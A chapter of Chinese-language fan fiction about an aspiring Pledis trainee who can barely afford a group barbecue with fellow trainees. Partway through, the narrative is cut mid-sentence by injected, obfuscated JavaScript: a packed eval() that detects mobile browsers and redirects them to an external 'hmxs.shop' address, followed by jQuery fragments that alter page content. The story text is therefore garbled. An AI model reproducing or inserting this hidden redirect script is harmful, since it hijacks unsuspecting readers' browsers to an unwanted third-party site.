4. 文俊晖
作品:《13天枯叶蝶》 生机一旦落在心土上,哪怕是最贫瘠坚硬的那一块,也会疯长出带刺的藤蔓,将人紧紧缠绕,带来近乎疼痛的希望,留下看不见的破裂痕迹。
已经成人的金侑一依旧孩子性地幻想着一切的美好,甚至挑来挑去定下了他未来的艺名:Unie。好像那时候,他就靠“Unie”挺着。
所以时间究竟带走了什么呢?
金侑一站在空荡练习室的中央,听着自己不成调的喘息在墙壁间碰撞回响,第一次清晰地意识到,有些东西,大概再也回不去了。
存折上的数字终于爬过了一个微小的刻度线。金侑一把那张薄薄的卡片贴在胸口,冰凉的塑料壳下,似乎能感受到热度,尽管微弱。
这是他瞒着所有人,从无数个昏沉欲睡的清晨和油污遍地的深夜,一分一毫攒出来的。
数额不大,有些寒酸,但足够支付Pledis最基础练习生课程的初期费用,以及一份能保证他在接下来的几个月里不至于饿死的预算。
去交钱的那天,天空是少有澄澈,阳光毫无阻碍地洒下来,照在Pledis办公楼的玻璃幕墙上,反射出刺眼的光。
金侑一站在楼下,仰着头,第一次觉得这栋建筑没那么冰冷。他捏紧了装着钱的信封,指节因为用力而泛白,手心里也全是汗。
流程比想象中简单,比他预想的更令人激动。填写表格,缴费,拍照,领取一张临时出入卡和几份注意事项。
负责登记的工作人员是个面无表情的年轻女人,语速很快地交代着练习时间、着装要求、考核标准,目光几乎没有在他身上停留,仿佛他只是一道需要处理的普通手续。
金侑一垂着眼,他发现他越是用心去记每一个字,那些关键词就越像隔着一层毛玻璃,就越模糊,越沉重。
当他捏着那张印着他黑白照片,写着“练习生金侑一”的临时卡片走出办公室时,走廊里正有一群练习生喧闹着走过。
孩子们穿着统一的训练服,头发被汗水打湿,脸上带着运动后的潮红和高声谈笑后的松弛。
有人瞥了他一眼,目光掠过他穿了很久的普通T恤和牛仔裤,掠过他手里那张崭新的卡片,没有任何停留,又转回去和同伴说笑起来。
金侑一默默地把卡片收进口袋,贴着内侧放好。他拥有了一个名义上的资格,却比任何时候都更清晰地感受到他与梦想之间的空洞。
那天傍晚,金侑一结束清扫工作后没有立刻离开。崔胜徹带着一群人从大练习室出来,脸上带着罕见的轻松笑意。
“喂,金侑一!”崔胜徹叫住他,声音比平时洪亮些,“今天我请客,去吃烤肉!一起!”
周围顿时响起一片欢呼和应和声。夫盛宽蹦跳着过来揽他的肩:“走吧走吧,侑一哥!辛苦了这么久,总算能放松一下了!”
金侑一僵在原地。
烤肉?
他口袋里的钱,交完练习生费用后所剩无几,每一分都要精确计算到未来几周的口粮上。请客吗?真的是请客吗?
他连AA都难以负担啊。
“我……”他张了张嘴,喉咙发干,“我还要回去……”
“回什么去!”权纯永一把勾住他另一边脖子,力气大得让他踉跄了一下,“今天必须去!庆祝我们阶段性考核通过!哥也来嘛,人多热闹!”
“对啊侑一哥,你平时那么照顾我们。”文俊晖用还不太流利的韩语说道。
所有人的目光都落在他身上,压力骤然在金侑一肩头拉满。他看着那一张张充满期待的脸,拒绝的话卡在喉咙里,最终一个字也吐不出来。
金侑一心肠软得不行,他也知道自己应该干不出什么大事来。
这时候又会想起崔胜徹挡在他身前的背影,想起李志勋递来的话筒,想起那些孩子们在得到他帮忙时的依赖……
某种尖锐疼痛的情绪,狠狠攫住了他。金侑一垂下眼,避开那些目光,点了点头。
“这就对了!”崔胜徹笑着拍了拍他的背,“走走走!我知道一家味道不错,价格也很实惠的!”
那家烤肉店确实不算高档,藏在一条热闹的巷子里,但烟火气十足。长长的桌子拼在一起,十几个人热热闹闹地围坐,菜单传来传去,五花肉、韩牛、大肠、蘑菇……点的东西很快堆满了桌面。
炭火在炉子里烧得通红,孩子们捏着夹子把肉片放上去,铁板立刻发出“滋啦”的悦耳声响,油脂滴落,腾起带着焦香的烟雾。
练习生们似乎暂时抛开了严格的饮食控制和出道的压力,笑着抱怨老师多么多么严厉,练习时哪一步做的特别搞笑,吐槽便利店的吃食等等。
金侑一坐在角落,挨着最不熟悉的金岷奎。他面前的盘子几乎是空的,只夹了几片生菜和一点泡菜。
每次有人把烤好的肉分到他盘子里,他都低声说谢谢,然后吃得极其缓慢,仿佛在数着不存在的米粒。
烤盘上油脂迸溅的热气熏着他的脸,周围的笑声和谈话声像潮水一样包裹着他,他却感觉自己像坐在一个透明的罩子里,所有的喧嚣都隔离在外,一股风过去,什么都没了。
口袋里的钱包轻得可怕。他知道这顿饭不会真的让崔胜徹一个人付,最后多半是AA。
他下意识地摸了摸口袋,指尖触到几张单薄的纸币和几枚硬币,还温热着。
“侑一哥,你怎么不吃肉?”坐在对面的李璨凑过来,嘴里塞得鼓鼓囊囊,像只小水獭,他把自己盘子里一块烤得焦香的五花肉夹给金侑一,“这个超好吃!快尝尝!”
金侑一看着那块油光发亮的肉,胃里却一阵抽搐。“我……吃饱了。”他把肉又夹回给李璨,勉强扯出一个笑容,“你正在长身体,多吃点。”
“真的吗?”李璨眨眨眼,信以为真,又开心地吃了回去。
旁边的金岷奎慢条斯理地用生菜包着烤肉,状似无意地看了金侑一一眼。
那目光平静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976262|193505||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,却让金侑一有种被看穿的错觉,他立刻低下头,假装专注地盯着自己面前那杯快要见底的免费大麦茶。
自卑像藤蔓,从脚底悄然缠绕上来,勒紧他的心脏,再顺着血管蔓延到四肢百骸。
他看着桌上丰盛的食物,看着周围那些可爱孩子们,甚至看着他们身上哪怕简单却也整洁合身的训练服。
金侑一咬唇低头扫了眼自己袖口磨损的毛衣,一种近乎扭曲的对比感撕扯着他。
他们走在光里,而他却是连影子都沾着洗不掉的尘灰。他坐在这里,像一个误入盛宴的乞丐,每一秒都是凌迟。
“呀,说起来,”夫盛宽灌了一口汽水,脸颊微红,声音带着兴奋,“听说公司已经在策划出道组了!胜徹哥,是不是真的?”
话题突然转向了这个敏感而激动人心的方向。桌上一静,所有人的目光都投向崔胜徹。
崔胜徹放下筷子,脸上轻松的笑意淡了些,多了几分慎重。“是有这个风声,但具体还不确定。大家继续努力吧,机会是给有准备的人的。”
这话并没有浇灭众人的热情,反而激起了更热烈的讨论。谁可能入选,定位怎么分配,出道风格会是什么样……每一个假设都带着滚烫的渴望。
金侑一安静地听着,“主唱”“主舞”“门面”“出道曲”“打歌舞台”……一个个词汇像一颗颗小石子,投入他心湖,却激不起半点涟漪。
他们的讨论越热烈,他的沉默就割裂。
梦想吗?在踏进P社大门,拿到练习生卡的那一刻,似乎触手可及。
但此刻坐在这里,他比任何时候都更清醒地认识到,那不过是另一个更加残酷的开始。
他拿什么去努力?拿他透支的健康,拿他岌岌可危的家庭,拿他口袋里这几张连一顿像样烤肉都支付不起的纸币?
金侑一不知道。
聚餐在一片意犹未尽中走向尾声。
果然如金侑一所料,崔胜徹提议AA,大家纷纷掏出钱包。
金侑一的手伸进口袋,指尖发凉,慢慢数出那些皱巴巴的纸币和硬币。数额刚好,甚至没有多余的零钱。他把钱放在桌上,声音低得几乎听不见:“我的。”
没有人注意到他的异样。
大家还在兴奋地讨论着刚才的话题,商量着下一场练习。
金侑一跟在人群最后,走出烟雾缭绕的店铺。夜晚的风吹在脸上,带着凉意,一丝一缕带走了身上的烤肉味。
他看着前面那群勾肩搭背,步履轻快的背影,他们融在首尔璀璨的夜色里,像一群即将振翅的雏鸟。
而他,金侑一,站在原地,影子被路灯拉得细长,孤零零地钉在冰冷的地面上。
他没有哪一刻心里这种“为什么我不能和他们一样”的对比心理会像现在这样强烈。
就像金代表说的,他不是有个“好样貌”适合做爱豆么?
哈,那些人还认为自己是个“抢手货”呢。

